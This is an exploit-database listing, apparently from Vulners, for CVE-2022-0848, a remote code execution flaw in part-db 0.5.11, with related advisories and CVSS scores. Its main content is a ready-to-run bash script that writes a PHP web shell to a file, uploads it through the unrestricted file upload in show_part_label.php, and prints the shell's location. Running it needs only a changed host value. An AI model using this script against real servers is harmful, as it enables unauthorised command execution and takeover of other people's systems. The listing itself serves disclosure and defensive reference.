part-db 0.5.11 - Remote Code Execution (RCE)

🗓️ 07 Mar 2022 00:00:00Reported by Chetanya SharmaType

exploitdb🔗 www.exploit-db.com👁 427 Views

Remote Code Execution (RCE) in part-db 0.5.1

Reporter	Title	Published	Views	Family All 12
GithubExploit	Exploit for OS Command Injection in Part-Db_Project Part-Db	11 Mar 202207:26	–	githubexploit
0day.today	part-db 0.5.11 - Remote Code Execution Exploit	7 Mar 202200:00	–	zdt
Huntr	OS Command Injection in part-db/part-db	15 Feb 202211:36	–	huntr
CNNVD	part-db 操作系统命令注入漏洞	4 Mar 202200:00	–	cnnvd
Check Point Advisories	Part-DB Project Unrestricted File Upload (CVE-2022-0848)	10 Nov 202200:00	–	checkpoint_advisories
CVE	CVE-2022-0848	4 Mar 202208:25	–	cve
Cvelist	CVE-2022-0848 OS Command Injection in part-db/part-db	4 Mar 202208:25	–	cvelist
NVD	CVE-2022-0848	4 Mar 202209:15	–	nvd
OSV	CVE-2022-0848 OS Command Injection in part-db/part-db	4 Mar 202208:25	–	osv
Packet Storm	part-db 0.5.11 Remote Code Execution	7 Mar 202200:00	–	packetstorm

# Exploit Title: part-db 0.5.11 - Remote Code Execution (RCE)
# Google Dork: NA
# Date: 03/04/2022
# Exploit Author: Sunny Mehra @DSKMehra
# Vendor Homepage: https://github.com/part-db/part-db
# Software Link: https://github.com/part-db/part-db
# Version: [ 0.5.11.] 
# Tested on: [KALI OS]
# CVE : CVE-2022-0848
#
---------------

#!/bin/bash
host=127.0.0.1/Part-DB-0.5.10 #WEBHOST
#Usage: Change host 
#Command: bash exploit.sh
#EXPLOIT BY @DSKMehra
echo "<?php system(id); ?>">POC.phtml  #PHP Shell Code
result=`curl -i -s -X POST -F "[email protected]" "http://$host/show_part_label.php" | grep -o -P '(?<=value="data/media/labels/).*(?=" > <p)'`
rm POC.phtml
echo Shell Location : "$host/data/media/labels/$result"

07 Mar 2022 00:00Current

9.2High risk

Vulners AI Score9.2

CVSS 3.19.8

CVSS 210

CVSS 310

EPSS0.40258